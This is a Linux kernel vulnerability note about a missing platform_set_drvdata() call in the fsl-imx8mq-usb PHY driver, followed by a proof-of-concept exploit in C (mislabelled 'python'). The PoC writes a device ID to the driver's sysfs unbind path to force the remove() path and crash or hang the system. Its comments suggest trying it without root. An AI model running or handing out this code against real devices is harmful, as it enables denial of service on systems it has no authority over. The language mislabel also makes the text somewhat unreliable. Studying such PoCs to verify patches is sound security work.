In the Linux kernel, the following vulnerability has been resolved:
phy: fsl-imx8mq-usb: set platform driver data
Add missing platform_set_drvdata() as the data will be used in remove().
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-43259
* Trigger the remove function of the vulnerable fsl-imx8mq-usb driver.
* This requires the device to be bound to the driver first.
* Compilation: gcc poc.c -o poc
*/
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
int main() {
int fd;
// The unbind path for the specific driver
const char *unbind_path = "/sys/bus/platform/drivers/fsl-imx8mq-usb-phy/unbind";
// The device ID may vary depending on the hardware configuration
// Common IDs for imx8mq usb phy might look like '382f0000.usbphy'
const char *device_id = "382f0000.usbphy";
// Check if we are root (usually required for unbind)
if (getuid() != 0) {
printf("[!] This PoC typically requires root privileges to write to sysfs.");
// Attempting anyway as per PR:L (Low Privilege) context, sometimes permissions are loose
}
printf("[*] Attempting to unbind driver %s from device %s\n", "fsl-imx8mq-usb-phy", device_id);
fd = open(unbind_path, O_WRONLY);
if (fd < 0) {
perror("[-] Failed to open unbind path");
printf("[-] Ensure the driver is loaded and the path exists.\n");
return 1;
}
if (write(fd, device_id, strlen(device_id)) < 0) {
perror("[-] Failed to write to unbind");
close(fd);
return 1;
}
printf("[+] Triggered driver unbind.\n");
printf("[+] If the system crashes or hangs, the vulnerability is confirmed.\n");
close(fd);
return 0;
}